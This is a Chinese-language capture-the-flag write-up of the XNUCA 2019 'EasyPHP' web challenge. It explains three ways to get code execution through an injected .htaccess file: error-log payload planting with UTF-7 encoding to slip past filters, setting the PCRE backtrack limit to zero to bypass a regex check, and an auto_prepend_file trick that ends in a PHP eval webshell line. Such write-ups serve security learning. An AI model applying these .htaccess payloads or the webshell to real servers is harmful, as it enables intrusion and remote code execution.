刷题记录:[XNUCA2019Qualifier]EasyPHP
题目复现链接:https://buuoj.cn/challenges
参考链接:X-NUCA-ezphp记录
XNUCA 2019 Qualifier的两个web题目writeup
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp
解法一
1、error_log结合log_errors自定义错误日志
.htaccess文件中可以自己定义error_log,更多配置可以在php.ini配置选项列表找到
php_value include_path "xxx"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
据此可以做到将报错信息中的payload,如:[Fri Oct 25 17:44:29.533900 2019] [php7:warn] [pid 1387] [client 172.20.10.2:1147] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/ctf/index.php on line 10
这里就可以将shellcode配合include写进其它目录。
2、include_path设置包含路径
.htaccess可以设置php_value include_path "xxx"
将include()
的默认路径改变
3、php_value zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤
写入utf-7编码的shellcode可以绕过<?
的过滤+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的编码:
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
4、# \
绕过.htaccess中多余字符
poc中最后生成的.htaccess是这样的
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
最终题目在.htaccess后附加的脏字符没有发挥作用而报错,猜测可能是.htaccess语法中支持\
换行注释?
解法二
5、.htaccess配置prce绕过正则匹配
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
由此可以绕过filename的过滤直接写shell
解法三
既然可以\
换行,那同样可以用这个绕过过滤
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\